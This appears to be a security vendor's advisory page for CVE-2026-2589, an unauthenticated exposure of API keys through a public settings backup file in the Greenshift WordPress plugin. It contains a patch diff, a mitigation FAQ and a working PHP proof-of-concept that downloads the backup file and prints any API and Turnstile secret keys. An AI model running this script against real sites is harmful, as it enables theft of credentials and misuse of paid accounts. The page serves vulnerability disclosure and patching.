<option value="gpt-image-1.5" <?php selected($aiimagemodel, 'gpt-image-1.5'); ?>> GPT Image 1.5 </option>
</select>
@@ -1141,9 +1128,10 @@
<td>
<select name="aidesignmodel">
<option value="claude-haiku-4-5" <?php selected($aidesignmodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
- <option value="claude-sonnet-4-5" <?php selected($aidesignmodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
- <option value="claude-opus-4-5-20251101" <?php selected($aidesignmodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+ <option value="claude-sonnet-4-6" <?php selected($aidesignmodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+ <option value="claude-opus-4-6" <?php selected($aidesignmodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
<option value="gemini-3-flash-preview" <?php selected($aidesignmodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
+ <option value="gemini-3-pro-preview" <?php selected($aidesignmodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>
</select>
@@ -1486,7 +1474,25 @@
}
$gspb_json_filename = 'settings_backup.json';
- $gspb_backup_data = json_encode($global_settings, JSON_PRETTY_PRINT);
+
+ // Exclude API keys from backup
+ $backup_settings = $global_settings;
+ $keys_to_exclude = [
+ 'googleapi',
+ 'turnstile_site_key',
+ 'turnstile_secret_key',
+ 'openaiapi',
+ 'claudeapi',
+ 'deepseekapi',
+ 'geminiapi'
+ ];
+ foreach ($keys_to_exclude as $key) {
+ if (isset($backup_settings[$key])) {
+ unset($backup_settings[$key]);
+ }
+ }
+
+ $gspb_backup_data = json_encode($backup_settings, JSON_PRETTY_PRINT);
if (!$wp_filesystem->put_contents($dir . $gspb_json_filename, $gspb_backup_data)) {
throw new Exception(esc_html__('JSON is not saved due the permission!!!', 'greenshift-animation-and-page-builder-blocks'));
@@ -1685,6 +1691,10 @@
if ($content_post->post_status !== 'publish') {
wp_send_json_error('Block not published');
}
+ // Don't serve content if post is password protected
+ if (!empty($content_post->post_password)) {
+ wp_send_json_error('Block is password protected');
+ }
$content = '';
$content = $content_post->post_content;
$content = apply_filters('the_content', $content);
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2589 - Greenshift – animation and page builder blocks <= 12.8.3 - Unauthenticated Sensitive Information Exposure via Settings Backup
<?php
$target_url = 'https://example.com';
// Construct the vulnerable backup file path
$backup_path = '/wp-content/uploads/greenshift/settings_backup.json';
$full_url = $target_url . $backup_path;
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Set user agent to mimic legitimate browser
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check if request was successful
if ($http_code === 200 && !empty($response)) {
// Attempt to parse JSON response
$data = json_decode($response, true);
if ($data !== null) {
echo "[+] Successfully retrieved settings backup filen";
echo "[+] File URL: $full_urln";
echo "[+] HTTP Status: $http_codenn";
// Check for sensitive API keys
$sensitive_keys = ['googleapi', 'openaiapi', 'claudeapi', 'geminiapi', 'deepseekapi', 'turnstile_site_key', 'turnstile_secret_key'];
foreach ($sensitive_keys as $key) {
if (isset($data[$key]) && !empty($data[$key])) {
echo "[!] Found sensitive key '$key': {$data[$key]}n";
}
}
// Display sample of configuration
echo "n[+] Total configuration keys: " . count($data) . "n";
// Show first few keys as sample
$sample_keys = array_slice(array_keys($data), 0, 5);
echo "[+] Sample configuration keys: " . implode(', ', $sample_keys) . "n";
} else {
echo "[-] Retrieved file but could not parse as JSONn";
echo "[-] Response preview: " . substr($response, 0, 200) . "...n";
}
} else {
echo "[-] Failed to retrieve backup filen";
echo "[-] HTTP Status: $http_coden";
echo "[-] Target may be patched or file not presentn";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-2589?
Overview of the vulnerabilityCVE-2026-2589 is a medium severity vulnerability in the Greenshift animation and page builder blocks plugin for WordPress. It allows unauthenticated attackers to access sensitive information, including API keys, through an improperly secured settings backup file.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the plugin’s automated settings backup feature, which creates a publicly accessible file named ‘settings_backup.json’. This file contains sensitive configuration data, including API keys, without any authentication checks, making it susceptible to unauthorized access.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Greenshift animation and page builder blocks plugin version 12.8.3 or earlier is affected. Administrators should check their plugin version and update if necessary.
How can I check if my site is vulnerable?
Version verification processTo determine if your site is vulnerable, verify the version of the Greenshift plugin installed. If it is version 12.8.3 or earlier, your site is at risk and should be updated immediately.
What are the potential risks associated with this vulnerability?
Impact of exploitationExploitation of this vulnerability can lead to unauthorized access to sensitive API keys, which could result in unauthorized API usage, financial loss, and potential account compromise. Attackers could misuse these keys for malicious purposes.
How can I fix or mitigate this vulnerability?
Recommended actionsTo mitigate this vulnerability, update the Greenshift plugin to version 12.8.4 or later, where the issue has been addressed. Additionally, review your site’s security settings to ensure that sensitive files are not publicly accessible.
What does the CVSS score of 5.3 indicate?
Understanding severity levelsThe CVSS score of 5.3 indicates a medium severity level, suggesting that while the vulnerability is not the most critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.
What is the role of the settings_backup.json file?
File significance in the vulnerabilityThe settings_backup.json file is created by the Greenshift plugin to store configuration settings, including sensitive API keys. Its public accessibility without authentication is what makes this vulnerability particularly dangerous.
What changes were made in the patched version?
Improvements in version 12.8.4In version 12.8.4, the plugin was modified to exclude sensitive API keys from the backup file before writing it. This change prevents the exposure of critical information in the settings_backup.json file.
How does the proof of concept demonstrate the vulnerability?
Understanding the demonstration codeThe proof of concept provided shows how an attacker can use a simple cURL script to access the settings_backup.json file directly. If the file is accessible, the script retrieves the contents, demonstrating how sensitive information can be exposed.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf immediate updates are not possible, consider restricting access to the wp-content/uploads/greenshift directory using server configuration or .htaccess rules to prevent unauthorized access to the backup file.
Where can I find more information about this vulnerability?
Resources for further readingFor more detailed information, refer to the official CVE database, security advisories from the plugin developer, or trusted cybersecurity resources that provide insights on WordPress vulnerabilities.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






